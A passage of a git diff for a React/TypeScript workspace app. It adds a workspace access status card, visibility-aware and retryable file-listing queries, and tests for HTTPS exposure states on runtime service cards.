+  function findButton(label: string) {
+    return Array.from(container.querySelectorAll("button")).find(
+      (candidate) => candidate.textContent?.trim() === label,
+    );
+  }
+
+  it("renders the ready state and opens without asking for a password", () => {
+    const { onOpen, root } = renderCard();
+    const card = container.querySelector("[data-testid='workspace-access-card']");
+    expect(card?.getAttribute("data-state")).toBe("ready");
+    expect(container.textContent).toContain("Ready");
+    expect(container.textContent).toContain("single-use login handoff");
+
+    const button = findButton("Open workspace");
+    expect(button).toBeDefined();
+    act(() => button!.click());
+    expect(onOpen).toHaveBeenCalledTimes(1);
+
+    act(() => root.unmount());
+  });
+
+  it("keeps a superseded repair failure visible without hiding the open action", () => {
+    const { onOpen, onViewLogs, root } = renderCard({
+      access: accessState({
+        secondaryNotice: {
+          title: "Repair failed",
+          description: "The repair stopped during managed_restart. The pre-repair backup was kept.",
+          action: { kind: "view_logs", label: "View repair log" },
+        },
+      }),
+    });
+
+    const openButton = findButton("Open workspace");
+    const logButton = findButton("View repair log");
+    expect(openButton).toBeDefined();
+    expect(logButton).toBeDefined();
+    expect(container.querySelector("[data-testid='workspace-access-secondary-notice']")?.textContent)
+      .toContain("pre-repair backup was kept");
+
+    act(() => openButton!.click());
+    act(() => logButton!.click());
+    expect(onOpen).toHaveBeenCalledTimes(1);
+    expect(onViewLogs).toHaveBeenCalledTimes(1);
+    act(() => root.unmount());
+  });
+
+  it("labels the credential fallback accurately when no handoff is available", () => {
+    const { root } = renderCard({
+      access: accessState({
+        handoffAvailable: false,
+        description: "Opening the board will ask for the credentials captured in this snapshot.",
+      }),
+    });
+    expect(container.textContent).toContain("snapshot-local credentials captured");
+    expect(container.textContent).not.toContain("single-use login handoff");
+    act(() => root.unmount());
+  });
+
+  it("gives provisioning, degraded, and failed states their own safe action", () => {
+    const cases = [
+      {
+        access: accessState({
+          state: "provisioning" as const,
+          title: "Provisioning database",
+          action: { kind: "start" as const, label: "Start workspace" },
+        }),
+        label: "Start workspace",
+        handlerKey: "onStart" as const,
+      },
+      {
+        access: accessState({
+          state: "degraded" as const,
+          title: "Workspace is degraded",
+          action: { kind: "repair" as const, label: "Repair workspace" },
+        }),
+        label: "Repair workspace",
+        handlerKey: "onRepair" as const,
+      },
+      {
+        access: accessState({
+          state: "failed" as const,
+          title: "Repair failed",
+          action: { kind: "view_logs" as const, label: "View repair log" },
+        }),
+        label: "View repair log",
+        handlerKey: "onViewLogs" as const,
+      },
+    ];
+
+    for (const testCase of cases) {
+      const rendered = renderCard({ access: testCase.access });
+      expect(container.textContent).toContain(testCase.access.title);
+      const button = findButton(testCase.label);
+      expect(button).toBeDefined();
+      expect(button!.disabled).toBe(false);
+      act(() => button!.click());
+      expect(rendered[testCase.handlerKey]).toHaveBeenCalledTimes(1);
+      act(() => rendered.root.unmount());
+      container.innerHTML = "";
+    }
+  });
+
+  it("offers nothing clickable while a repair is already running", () => {
+    const { root } = renderCard({
+      access: accessState({
+        state: "repairing",
+        title: "Repairing workspace database",
+        action: { kind: "wait", label: "Repair in progress" },
+      }),
+    });
+    expect(findButton("Repair in progress")?.disabled).toBe(true);
+    expect(
+      container.querySelector("[data-testid='workspace-access-badge']")?.textContent,
+    ).toContain("Repairing");
+    act(() => root.unmount());
+  });
+
+  it("always names the state and the cause instead of a bare failure", () => {
+    const { root } = renderCard({
+      access: accessState({
+        state: "failed",
+        title: "Database provisioning failed",
+        description: "The clone failed during restore. Repairing replaces only the isolated database.",
+        action: { kind: "repair", label: "Repair workspace" },
+      }),
+      errorMessage: "Failed to open the workspace.",
+    });
+    expect(container.textContent).toContain("Database provisioning failed");
+    expect(container.textContent).toContain("failed during restore");
+    expect(
+      container.querySelector("[data-testid='workspace-access-error']")?.textContent,
+    ).toContain("Failed to open the workspace.");
+    act(() => root.unmount());
+  });
+
+  it("disables the action while the caller reports it busy", () => {
+    const { root } = renderCard({ isBusy: true });
+    expect(findButton("Open workspace")?.disabled).toBe(true);
+    act(() => root.unmount());
+  });
+});
diff --git a/ui/src/components/WorkspaceAccessCard.tsx b/ui/src/components/WorkspaceAccessCard.tsx
new file mode 100644
index 00000000000..6373d4a69c5
--- /dev/null
+++ b/ui/src/components/WorkspaceAccessCard.tsx
@@ -0,0 +1,149 @@
+import { ExternalLink, Loader2, Play, ScrollText, Wrench } from "lucide-react";
+import { Button } from "@/components/ui/button";
+import { Card, CardContent, CardDescription, CardHeader, CardTitle } from "@/components/ui/card";
+import { cn } from "../lib/utils";
+import type { WorkspaceAccessState } from "../lib/workspace-access-state";
+
+/**
+ * Workspace access surface (PAP-17572).
+ *
+ * One card per workspace that names the state, the cause, and the single safe
+ * next action. It replaces the previous behavior where a cloned workspace whose
+ * database was missing still rendered a plain "Open" link and answered with
+ * "invalid email or password".
+ */
+
+/**
+ * Badge tones come from the semantic status token layer, so a theme change moves
+ * these states with every other status surface. `ready` reuses the "done" tone
+ * and `degraded` the "todo" (amber) tone; the icon variants are the contrast-
+ * corrected pair the token layer already tunes per mode.
+ */
+const STATE_BADGE_CLASSES: Record<WorkspaceAccessState["state"], string> = {
+  provisioning: "border-border text-muted-foreground",
+  validating: "border-border text-muted-foreground",
+  ready: "border-(--status-task-done) text-(--status-task-icon-done)",
+  degraded: "border-(--status-task-todo) text-(--status-task-icon-todo)",
+  repairing: "border-border text-muted-foreground",
+  failed: "border-destructive/50 text-destructive",
+};
+
+const STATE_LABELS: Record<WorkspaceAccessState["state"], string> = {
+  provisioning: "Provisioning",
+  validating: "Validating clone",
+  ready: "Ready",
+  degraded: "Degraded",
+  repairing: "Repairing",
+  failed: "Failed",
+};
+
+const ACTION_ICONS = {
+  open: ExternalLink,
+  start: Play,
+  repair: Wrench,
+  view_logs: ScrollText,
+  wait: Loader2,
+} as const;
+
+export function WorkspaceAccessCard({
+  access,
+  isBusy,
+  onOpen,
+  onStart,
+  onRepair,
+  onViewLogs,
+  errorMessage,
+}: {
+  access: WorkspaceAccessState;
+  isBusy?: boolean;
+  onOpen: () => void;
+  onStart: () => void;
+  onRepair: () => void;
+  onViewLogs: () => void;
+  errorMessage?: string | null;
+}) {
+  const Icon = ACTION_ICONS[access.action.kind];
+  const isWaiting = access.action.kind === "wait";
+  const handlers: Record<WorkspaceAccessState["action"]["kind"], () => void> = {
+    open: onOpen,
+    start: onStart,
+    repair: onRepair,
+    view_logs: onViewLogs,
+    wait: () => undefined,
+  };
+  const SecondaryNoticeIcon = access.secondaryNotice
+    ? ACTION_ICONS[access.secondaryNotice.action.kind]
+    : null;
+
+  return (
+    <Card data-testid="workspace-access-card" data-state={access.state}>
+      <CardHeader>
+        <div className="flex flex-wrap items-center gap-2">
+          <CardTitle>{access.title}</CardTitle>
+          <span
+            data-testid="workspace-access-badge"
+            className={cn(
+              "inline-flex items-center rounded-full border bg-background px-2.5 py-1 text-xs",
+              STATE_BADGE_CLASSES[access.state],
+            )}
+          >
+            {(access.state === "repairing" || access.state === "provisioning") && (
+              <Loader2 className="mr-1.5 h-3 w-3 animate-spin" />
+            )}
+            {STATE_LABELS[access.state]}
+          </span>
+        </div>
+        <CardDescription>{access.description}</CardDescription>
+      </CardHeader>
+      <CardContent className="flex flex-col gap-3">
+        <div className="flex flex-wrap items-center gap-2">
+          <Button
+            type="button"
+            variant={access.action.kind === "open" ? "default" : "outline"}
+            disabled={isWaiting || isBusy}
+            onClick={handlers[access.action.kind]}
+          >
+            {isBusy && !isWaiting ? (
+              <Loader2 className="mr-2 h-4 w-4 animate-spin" />
+            ) : (
+              <Icon className={cn("mr-2 h-4 w-4", isWaiting && "animate-spin")} />
+            )}
+            {access.action.label}
+          </Button>
+          {access.state === "ready" && !access.handoffAvailable ? (
+            <span className="text-xs text-muted-foreground">
+              Signs in with the snapshot-local credentials captured when this clone was made.
+            </span>
+          ) : null}
+          {access.state === "ready" && access.handoffAvailable ? (
+            <span className="text-xs text-muted-foreground">
+              Uses a single-use login handoff — no password needed.
+            </span>
+          ) : null}
+        </div>
+        {errorMessage ? (
+          <p data-testid="workspace-access-error" className="text-sm text-destructive">
+            {errorMessage}
+          </p>
+        ) : null}
+        {access.secondaryNotice && SecondaryNoticeIcon ? (
+          <div data-testid="workspace-access-secondary-notice" className="flex flex-col gap-1.5 text-sm">
+            <p className="font-medium text-destructive">{access.secondaryNotice.title}</p>
+            <p className="text-muted-foreground">{access.secondaryNotice.description}</p>
+            <Button
+              type="button"
+              variant="link"
+              size="sm"
+              className="h-auto w-fit p-0"
+              disabled={isBusy}
+              onClick={handlers[access.secondaryNotice.action.kind]}
+            >
+              <SecondaryNoticeIcon className="mr-2 h-4 w-4" />
+              {access.secondaryNotice.action.label}
+            </Button>
+          </div>
+        ) : null}
+      </CardContent>
+    </Card>
+  );
+}
diff --git a/ui/src/components/WorkspaceFileBrowser.test.tsx b/ui/src/components/WorkspaceFileBrowser.test.tsx
index 6277c65fd5f..c671b26562b 100644
--- a/ui/src/components/WorkspaceFileBrowser.test.tsx
+++ b/ui/src/components/WorkspaceFileBrowser.test.tsx
@@ -7,6 +7,7 @@ import type { Root } from "react-dom/client";
 import type { Project, ProjectWorkspace, WorkspaceFileListDirectoryItem, WorkspaceFileListFileItem, WorkspaceFileListItem, WorkspaceFileListResponse } from "@paperclipai/shared";
 import { afterEach, beforeEach, describe, expect, it, vi } from "vitest";
 import { WorkspaceFileBrowser, describeUnavailable } from "./WorkspaceFileBrowser";
+import { ApiError } from "@/api/client";
 
 function act(callback: () => void | Promise<void>) {
   let result: void | Promise<void> | undefined;
@@ -16,21 +17,25 @@ function act(callback: () => void | Promise<void>) {
   return result;
 }
 
+/**
+ * Waits on the condition, not on a fixed number of turns. A hand-rolled retry
+ * loop is ample on an idle machine and not when the suite runs many workers in
+ * parallel: it gives up after N turns and reports a failure on behaviour that
+ * works. `vi.waitFor` retries against a time budget, so a loaded worker gets
+ * more turns instead.
+ *
+ * Same replacement as #11499 and #11521, which fixed the shorter-budget
+ * instances of this in the routing tests.
+ *
+ * This was a reimplementation of `vi.waitFor` down to rethrowing the last
+ * error, differing only in bounding on turns rather than on time.
+ */
 async function waitForExpectation(assertion: () => void) {
-  let lastError: unknown;
-  for (let attempt = 0; attempt < 20; attempt += 1) {
-    try {
-      assertion();
-      return;
-    } catch (error) {
-      lastError = error;
-      await new Promise((resolve) => window.setTimeout(resolve, 0));
-    }
-  }
-  throw lastError;
+  await vi.waitFor(assertion);
 }
 
 const useQueryMock = vi.fn();
+const cancelQueriesMock = vi.fn(() => Promise.resolve());
 const LIST_LIMIT = 100;
 
 vi.mock("@tanstack/react-query", async () => {
@@ -39,6 +44,7 @@ vi.mock("@tanstack/react-query", async () => {
     ...actual,
     useQuery: (options: unknown) => useQueryMock(options),
     useQueries: ({ queries }: { queries: unknown[] }) => queries.map((options) => useQueryMock(options)),
+    useQueryClient: () => ({ cancelQueries: cancelQueriesMock }),
   };
 });
 
@@ -202,6 +208,11 @@ describe("WorkspaceFileBrowser", () => {
     container = document.createElement("div");
     document.body.appendChild(container);
     useQueryMock.mockReset();
+    cancelQueriesMock.mockClear();
+    Object.defineProperty(document, "visibilityState", {
+      configurable: true,
+      value: "visible",
+    });
     Object.defineProperty(Element.prototype, "scrollIntoView", {
       configurable: true,
       value: vi.fn(),
@@ -227,6 +238,107 @@ describe("WorkspaceFileBrowser", () => {
     return { root, onOpen };
   }
 
+  function changedListQueryOptions() {
+    return useQueryMock.mock.calls
+      .map(([options]) => options as {
+        queryKey?: readonly unknown[];
+        enabled?: boolean;
+        refetchOnWindowFocus?: boolean;
+        refetchOnReconnect?: boolean;
+      })
+      .filter((options) => options.queryKey?.[0] === "issues" && options.queryKey?.[3] === "list")
+      .at(-1);
+  }
+
+  it("does not enable changed-file enumeration before the Files panel opens", () => {
+    useQueryMock.mockReturnValue(ok(availableResponse([])));
+
+    renderBrowser(vi.fn(), { active: false });
+
+    expect(changedListQueryOptions()).toMatchObject({
+      enabled: false,
+      refetchOnWindowFocus: false,
+      refetchOnReconnect: false,
+    });
+    expect(cancelQueriesMock).toHaveBeenCalledWith({
+      queryKey: ["issues", "file-resources", "issue-1", "list"],
+    });
+  });
+
+  it("disables and cancels changed-file enumeration while the page is hidden", () => {
+    Object.defineProperty(document, "visibilityState", {
+      configurable: true,
+      value: "hidden",
+    });
+    useQueryMock.mockReturnValue(ok(availableResponse([])));
+
+    renderBrowser();
+
+    expect(changedListQueryOptions()?.enabled).toBe(false);
+    expect(cancelQueriesMock).toHaveBeenCalledTimes(1);
+  });
+
+  it("cancels an active changed-file query when the page becomes hidden", () => {
+    useQueryMock.mockReturnValue(ok(availableResponse([])));
+    renderBrowser();
+    expect(changedListQueryOptions()?.enabled).toBe(true);
+
+    Object.defineProperty(document, "visibilityState", {
+      configurable: true,
+      value: "hidden",
+    });
+    act(() => {
+      document.dispatchEvent(new Event("visibilitychange"));
+    });
+
+    expect(changedListQueryOptions()?.enabled).toBe(false);
+    expect(cancelQueriesMock).toHaveBeenCalledWith({
+      queryKey: ["issues", "file-resources", "issue-1", "list"],
+    });
+  });
+
+  it("runs one explicit refresh without enabling focus or reconnect bursts", () => {
+    const refetch = vi.fn();
+    useQueryMock.mockReturnValue({
+      ...ok(availableResponse([createItem()])),
+      refetch,
+    });
+
+    renderBrowser();
+    const refresh = container.querySelector<HTMLButtonElement>('button[aria-label="Refresh workspace files"]');
+    expect(refresh).not.toBeNull();
+    act(() => refresh!.click());
+
+    expect(refetch).toHaveBeenCalledTimes(1);
+    expect(changedListQueryOptions()).toMatchObject({
+      enabled: true,
+      refetchOnWindowFocus: false,
+      refetchOnReconnect: false,
+    });
+  });
+
+  it.each([
+    [503, "workspace_git_scan_saturated"],
+    [504, "workspace_git_scan_timeout"],
+  ] as const)("renders %s changed-file failures as a retryable state", (status, code) => {
+    const refetch = vi.fn();
+    useQueryMock.mockReturnValue({
+      data: undefined,
+      isFetching: false,
+      isError: true,
+      error: new ApiError("temporarily unavailable", status, { code }),
+      refetch,
+    });
+
+    renderBrowser();
+
+    expect(container.textContent).toContain("Changed files temporarily unavailable");
+    const retry = Array.from(container.querySelectorAll("button")).find((button) => button.textContent?.includes("Retry"));
+    expect(retry).not.toBeUndefined();
+    act(() => retry!.click());
+    expect(refetch).toHaveBeenCalledTimes(1);
+  });
+
   it("renders the Recently changed files as a tree and opens a row with its relative path", () => {
     useQueryMock.mockReturnValue(
       ok(availableResponse([createItem(), createItem({ relativePath: "README.md", displayPath: "README.md" })])),
diff --git a/ui/src/components/WorkspaceFileBrowser.tsx b/ui/src/components/WorkspaceFileBrowser.tsx
index f04e0d9516a..64a84513aed 100644
--- a/ui/src/components/WorkspaceFileBrowser.tsx
+++ b/ui/src/components/WorkspaceFileBrowser.tsx
@@ -7,14 +7,16 @@ import {
   type KeyboardEvent,
   type ReactNode,
 } from "react";
-import { useQueries, useQuery } from "@tanstack/react-query";
-import { AlertTriangle, ChevronDown, ChevronRight, Cloud, Download, FileCode2, FolderOpen, Loader2, Search } from "lucide-react";
+import { useQueries, useQuery, useQueryClient } from "@tanstack/react-query";
+import { AlertTriangle, ChevronDown, ChevronRight, Cloud, Download, FileCode2, FolderOpen, Loader2, RefreshCcw, Search } from "lucide-react";
 import { Input } from "@/components/ui/input";
+import { Button } from "@/components/ui/button";
 import { cn } from "@/lib/utils";
 import { fileResourcesApi } from "@/api/file-resources";
 import { projectsApi } from "@/api/projects";
 import { ApiError } from "@/api/client";
 import { queryKeys } from "@/lib/queryKeys";
+import { usePageVisibility } from "@/lib/page-visibility";
 import { parseWorkspaceFileRef } from "@/lib/workspace-file-parser";
 import type {
   Project,
@@ -103,13 +105,24 @@ export function describeUnavailable(reason: string): { title: string; body: stri
   };
 }
 
-function StateMessage({ icon, title, body }: { icon: ReactNode; title: string; body?: string }) {
+function StateMessage({
+  icon,
+  title,
+  body,
+  actions,
+}: {
+  icon: ReactNode;
+  title: string;
+  body?: string;
+  actions?: ReactNode;
+}) {
   return (
     <div className="flex items-start gap-3 px-1 py-8 text-sm">
       {icon}
       <div className="space-y-1">
         <p className="font-medium text-foreground">{title}</p>
         {body ? <p className="text-muted-foreground">{body}</p> : null}
+        {actions ? <div className="pt-1">{actions}</div> : null}
       </div>
     </div>
   );
@@ -475,6 +488,8 @@ export interface WorkspaceFileBrowserProps {
   selectedPath?: string | null;
   selectedProjectId?: string | null;
   selectedWorkspaceId?: string | null;
+  /** True only while the containing Files panel is actually open. */
+  active?: boolean;
   className?: string;
 }
 
@@ -491,8 +506,11 @@ export function WorkspaceFileBrowser({
   selectedPath,
   selectedProjectId: activeProjectId,
   selectedWorkspaceId: activeWorkspaceId,
+  active = true,
   className,
 }: WorkspaceFileBrowserProps) {
+  const queryClient = useQueryClient();
+  const { visible: pageVisible } = usePageVisibility();
   const source: BrowserSource =
     initialProjectId && initialWorkspaceId ? "other" : "current";
   const workspace: WorkspaceFileSelector = "auto";
@@ -594,6 +612,7 @@ export function WorkspaceFileBrowser({
   const targetWorkspaceId = source === "other" ? selectedWorkspaceId : null;
   const effectiveWorkspace: WorkspaceFileSelector = source === "other" ? "project" : workspace;
   const canListFiles = source === "current" || Boolean(targetProjectId && targetWorkspaceId);
+  const queriesEnabled = active && pageVisible && canListFiles;
   const targetRef = targetProjectId && targetWorkspaceId
     ? { projectId: targetProjectId, workspaceId: targetWorkspaceId }
     : {};
@@ -607,8 +626,19 @@ export function WorkspaceFileBrowser({
     });
   }, [folderPath, onBrowseStateChange, searchInput, targetProjectId, targetWorkspaceId]);
 
+  const listQueryKey = useMemo(() => queryKeys.issues.fileResources(issueId, {
+      workspace: effectiveWorkspace,
+      projectId: targetProjectId,
+      workspaceId: targetWorkspaceId,
+      mode,
+      q,
+      limit: LIST_LIMIT,
+      offset: 0,
+      path: folderPath,
+    }), [effectiveWorkspace, folderPath, issueId, mode, q, targetProjectId, targetWorkspaceId]);
   const listQuery = useQuery({
-    queryKey: queryKeys.issues.fileResources(issueId, {
+    queryKey: listQueryKey,
+    queryFn: ({ signal }) => fileResourcesApi.list(issueId, {
       workspace: effectiveWorkspace,
       projectId: targetProjectId,
       workspaceId: targetWorkspaceId,
@@ -617,22 +647,21 @@ export function WorkspaceFileBrowser({
       limit: LIST_LIMIT,
       offset: 0,
       path: folderPath,
-    }),
-    queryFn: () => fileResourcesApi.list(issueId, {
-      workspace: effectiveWorkspace,
-      projectId: targetProjectId,
-      workspaceId: targetWorkspaceId,
-      mode,
-      q,
-      limit: LIST_LIMIT,
-      offset: 0,
-      path: folderPath,
-    }),
-    enabled: canListFiles,
+    }, { signal }),
+    enabled: queriesEnabled,
     retry: false,
     staleTime: 15_000,
+    refetchOnWindowFocus: false,
+    refetchOnReconnect: false,
   });
 
+  useEffect(() => {
+    if (active && pageVisible) return;
+    void queryClient.cancelQueries({
+      queryKey: ["issues", "file-resources", issueId, "list"],
+    });
+  }, [active, issueId, pageVisible, queryClient]);
+
   const data = listQuery.data;
   const items = useMemo(() => data?.items ?? [], [data]);
   const workspaceLabel = data?.workspace?.workspaceLabel ?? null;
@@ -676,7 +705,7 @@ export function WorkspaceFileBrowser({
         offset: spec.offset,
         path: spec.path || null,
       }),
-      queryFn: () => fileResourcesApi.list(issueId, {
+      queryFn: ({ signal }: { signal: AbortSignal }) => fileResourcesApi.list(issueId, {
         workspace: effectiveWorkspace,
         projectId: targetProjectId,
         workspaceId: targetWorkspaceId,
@@ -685,10 +714,12 @@ export function WorkspaceFileBrowser({
         limit: LIST_LIMIT,
         offset: spec.offset,
         path: spec.path || null,
-      }),
-      enabled: canListFiles && isLazyBrowse,
+      }, { signal }),
+      enabled: queriesEnabled && isLazyBrowse,
       retry: false,
       staleTime: 15_000,
+      refetchOnWindowFocus: false,
+      refetchOnReconnect: false,
     })),
   });
   const lazyItemsByFolder = useMemo(() => {
@@ -989,15 +1020,37 @@ export function WorkspaceFileBrowser({
     );
   } else if (listQuery.isError) {
     const status = listQuery.error instanceof ApiError ? listQuery.error.status : 0;
+    const errorCode = listQuery.error instanceof ApiError && listQuery.error.body && typeof listQuery.error.body === "object"
+      ? (listQuery.error.body as { code?: unknown }).code
+      : null;
+    const changedFilesTemporarilyUnavailable = mode === "changed" && (
+      status === 503 ||
+      status === 504 ||
+      errorCode === "workspace_git_scan_saturated" ||
+      errorCode === "workspace_git_scan_timeout"
+    );
     body = (
       <StateMessage
         icon={<AlertTriangle aria-hidden="true" className="h-5 w-5 text-amber-500" />}
-        title="Couldn't load files"
+        title={changedFilesTemporarilyUnavailable ? "Changed files temporarily unavailable" : "Couldn't load files"}
         body={
-          status === 404
+          changedFilesTemporarilyUnavailable
+            ? "Paperclip is limiting workspace scans to keep the server responsive. Try again in a moment."
+            : status === 404
             ? "Workspace browsing isn't available for this issue."
             : "Something went wrong loading workspace files."
         }
+        actions={changedFilesTemporarilyUnavailable ? (
+          <Button
+            type="button"
+            variant="outline"
+            size="sm"
+            disabled={!queriesEnabled}
+            onClick={() => void listQuery.refetch()}
+          >
+            <RefreshCcw aria-hidden="true" className="mr-1 h-3 w-3" /> Retry
+          </Button>
+        ) : null}
       />
     );
   } else if (data?.state === "unavailable") {
@@ -1035,28 +1088,42 @@ export function WorkspaceFileBrowser({
 
   return (
     <div className={cn("flex min-h-0 min-w-0 flex-col gap-2", className)}>
-      <div className="relative min-w-0 max-w-full overflow-hidden">
-        <Search
-          aria-hidden="true"
-          className="pointer-events-none absolute left-2.5 top-1/2 h-3.5 w-3.5 -translate-y-1/2 text-muted-foreground"
-        />
-        <Input
-          ref={inputRef}
-          type="search"
-          value={searchInput}
-          onChange={(event) => setSearchInput(event.target.value)}
-          onKeyDown={handleSearchKeyDown}
-          placeholder="Search files by name or path…"
-          aria-label="Search workspace files"
-          role="combobox"
-          aria-expanded={items.length > 0}
-          aria-controls={items.length > 0 ? listboxId : undefined}
-          aria-activedescendant={activeOptionId}
-          autoFocus={autoFocusSearch}
-          autoComplete="off"
-          spellCheck={false}
-          className="h-8 w-full max-w-full min-w-0 pl-8 font-mono text-xs"
-        />
+      <div className="flex min-w-0 max-w-full items-center gap-1 overflow-hidden">
+        <div className="relative min-w-0 flex-1">
+          <Search
+            aria-hidden="true"
+            className="pointer-events-none absolute left-2.5 top-1/2 h-3.5 w-3.5 -translate-y-1/2 text-muted-foreground"
+          />
+          <Input
+            ref={inputRef}
+            type="search"
+            value={searchInput}
+            onChange={(event) => setSearchInput(event.target.value)}
+            onKeyDown={handleSearchKeyDown}
+            placeholder="Search files by name or path…"
+            aria-label="Search workspace files"
+            role="combobox"
+            aria-expanded={items.length > 0}
+            aria-controls={items.length > 0 ? listboxId : undefined}
+            aria-activedescendant={activeOptionId}
+            autoFocus={autoFocusSearch}
+            autoComplete="off"
+            spellCheck={false}
+            className="h-8 w-full max-w-full min-w-0 pl-8 font-mono text-xs"
+          />
+        </div>
+        <Button
+          type="button"
+          variant="ghost"
+          size="icon-sm"
+          onClick={() => void listQuery.refetch()}
+          disabled={!queriesEnabled || listQuery.isFetching}
+          aria-label="Refresh workspace files"
+          title="Refresh workspace files"
+          className="h-8 w-8 shrink-0"
+        >
+          <RefreshCcw aria-hidden="true" className={cn("h-3.5 w-3.5", listQuery.isFetching && "animate-spin")} />
+        </Button>
       </div>
 
       <WorkspaceFileBreadcrumbs
diff --git a/ui/src/components/WorkspaceFileMarkdownBody.availability.test.tsx b/ui/src/components/WorkspaceFileMarkdownBody.availability.test.tsx
index aa62337c5ad..1d127c13cb7 100644
--- a/ui/src/components/WorkspaceFileMarkdownBody.availability.test.tsx
+++ b/ui/src/components/WorkspaceFileMarkdownBody.availability.test.tsx
@@ -44,18 +44,21 @@ function act(callback: () => void) {
   flushSync(callback);
 }
 
+/**
+ * Waits on the condition, not on a fixed number of turns. A hand-rolled retry
+ * loop is ample on an idle machine and not when the suite runs many workers in
+ * parallel: it gives up after N turns and reports a failure on behaviour that
+ * works. `vi.waitFor` retries against a time budget, so a loaded worker gets
+ * more turns instead.
+ *
+ * Same replacement as #11499 and #11521, which fixed the shorter-budget
+ * instances of this in the routing tests.
+ *
+ * This was a reimplementation of `vi.waitFor` down to rethrowing the last
+ * error, differing only in bounding on turns rather than on time.
+ */
 async function waitForExpectation(assertion: () => void) {
-  let lastError: unknown;
-  for (let attempt = 0; attempt < 30; attempt += 1) {
-    try {
-      assertion();
-      return;
-    } catch (error) {
-      lastError = error;
-      await new Promise((resolve) => window.setTimeout(resolve, 0));
-    }
-  }
-  throw lastError;
+  await vi.waitFor(assertion);
 }
 
 function resource(overrides: Partial<ResolvedWorkspaceResource> = {}): ResolvedWorkspaceResource {
diff --git a/ui/src/components/WorkspaceRuntimeControls.test.tsx b/ui/src/components/WorkspaceRuntimeControls.test.tsx
index 1bc5a8ac571..b1044033dfa 100644
--- a/ui/src/components/WorkspaceRuntimeControls.test.tsx
+++ b/ui/src/components/WorkspaceRuntimeControls.test.tsx
@@ -47,6 +47,7 @@ function createRuntimeService(overrides: Partial<WorkspaceRuntimeService> = {}):
     stoppedAt: overrides.stoppedAt ?? null,
     stopPolicy: overrides.stopPolicy ?? null,
     healthStatus: overrides.healthStatus ?? "unknown",
+    exposure: overrides.exposure ?? null,
     configIndex: overrides.configIndex ?? null,
     createdAt: overrides.createdAt ?? new Date("2026-04-12T00:00:00.000Z"),
     updatedAt: overrides.updatedAt ?? new Date("2026-04-12T00:00:00.000Z"),
@@ -423,6 +424,61 @@ describe("WorkspaceRuntimeControls", () => {
     act(() => root.unmount());
   });
 
+  it.each([
+    ["failed", "external HTTPS health probe did not validate", "HTTPS unavailable", "Check the Tailscale broker and node HTTPS configuration."],
+    ["cleanup_pending", "host broker cleanup confirmation timed out", "HTTPS cleanup pending", "Restart the host broker before reusing this port."],
+  ] as const)(
+    "shows %s exposure state, last error, and remediation on service cards",
+    (state, lastError, label, remediation) => {
+      const sections = buildWorkspaceRuntimeControlSections({
+        runtimeConfig: {
+          commands: [
+            { id: "web", name: "web", kind: "service", command: "pnpm dev" },
+          ],
+        },
+        runtimeServices: [
+          createRuntimeService({
+            id: "service-web",
+            serviceName: "web",
+            status: "stopped",
+            exposure: {
+              provider: "tailscale_https",
+              state,
+              publicUrl: null,
+              hostname: "paperclip-dev.tail29c1aa.ts.net",
+              listeners: [{ purpose: "app", publicPort: 42002, targetPort: 42002 }],
+              brokerRef: "service-web",
+              lastError,
+              updatedAt: "2026-08-12T00:00:00.000Z",
+            },
+          }),
+        ],
+        canStartServices: true,
+      });
+
+      const root = createRoot(container);
+      act(() => {
+        root.render(
+          <WorkspaceRuntimeControls
+            sections={sections}
+            onAction={vi.fn()}
+          />,
+        );
+      });
+
+      const alert = container.querySelector('[role="alert"]');
+      const summary = alert?.firstElementChild;
+      expect(alert?.classList.contains("text-destructive")).toBe(true);
+      expect(summary?.classList.contains("line-clamp-3")).toBe(true);
+      expect(summary?.getAttribute("title")).toBe(lastError);
+      expect(alert?.textContent).toContain(label);
+      expect(alert?.textContent).toContain(lastError);
+      expect(alert?.textContent).toContain(remediation);
+
+      act(() => root.unmount());
+    },
+  );
+
   it("can render square plain surfaces for embedded configuration pages", () => {
     const sections = buildWorkspaceRuntimeControlSections({
       runtimeConfig: {
@@ -627,6 +683,98 @@ describe("buildWorkspaceServiceControlEntries", () => {
     expect(entries[0].state).toBe("failed");
     expect(entries[0].failureDetail).toMatch(/^Service failed · /);
   });
+
+  it("surfaces HTTPS failure independently while the backend remains running", () => {
+    const running = createRuntimeService({
+      status: "running",
+      healthStatus: "healthy",
+      port: 42000,
+      url: null,
+      exposure: {
+        provider: "tailscale_https",
+        state: "failed",
+        publicUrl: null,
+        hostname: "runner.tail123.ts.net",
+        listeners: [{ purpose: "app", publicPort: 42000, targetPort: 42000 }],
+        brokerRef: "service-1",
+        lastError: "cli_error",
+        updatedAt: "2026-08-11T00:00:00.000Z",
+      },
+    });
+    const built = buildWorkspaceRuntimeControlSections({
+      runtimeConfig: { commands: [{ id: "web", name: "web", kind: "service", command: "pnpm dev" }] },
+      runtimeServices: [running],
+      canStartServices: true,
+    });
+    const [entry] = buildWorkspaceServiceControlEntries({ sections: built, runtimeServices: [running] });
+
+    expect(entry.state).toBe("running");
+    expect(entry.exposureState).toBe("failed");
+    expect(entry.exposureDetail).toMatch(/^HTTPS unavailable/);
+    expect(entry.exposureDetail).not.toContain("cli_error");
+  });
+
+  it("carries the verified HTTPS URL into the launch entry, and no HTTP fallback while pending", () => {
+    // PAP-17158: the workspace/project/issue launch links are rendered from these
+    // entries, so the tailnet HTTPS URL has to survive the mapping intact — and a
+    // service whose exposure is not yet verified must offer no URL at all rather
+    // than the loopback backend it is really listening on.
+    const httpsUrl = "https://paperclip-dev.tail29c1aa.ts.net:42010";
+    const buildEntry = (service: ReturnType<typeof createRuntimeService>) => {
+      const sections = buildWorkspaceRuntimeControlSections({
+        runtimeConfig: { commands: [{ id: "web", name: "web", kind: "service", command: "pnpm dev" }] },
+        runtimeServices: [service],
+        canStartServices: true,
+      });
+      return buildWorkspaceServiceControlEntries({ sections, runtimeServices: [service] })[0];
+    };
+
+    const ready = buildEntry(createRuntimeService({
+      status: "running",
+      healthStatus: "healthy",
+      port: 42_010,
+      url: httpsUrl,
+      exposure: {
+        provider: "tailscale_https",
+        state: "ready",
+        publicUrl: httpsUrl,
+        hostname: "paperclip-dev.tail29c1aa.ts.net",
+        listeners: [
+          { purpose: "app", publicPort: 42_010, targetPort: 42_010 },
+          { purpose: "vite_hmr", publicPort: 52_010, targetPort: 52_010 },
+        ],
+        brokerRef: "service-1",
+        lastError: null,
+        updatedAt: "2026-08-12T00:00:00.000Z",
+      },
+    }));
+    expect(ready.state).toBe("running");
+    expect(ready.url).toBe(httpsUrl);
+    expect(ready.exposureState).toBe("ready");
+    // A ready exposure reports plainly and never as a remediation prompt.
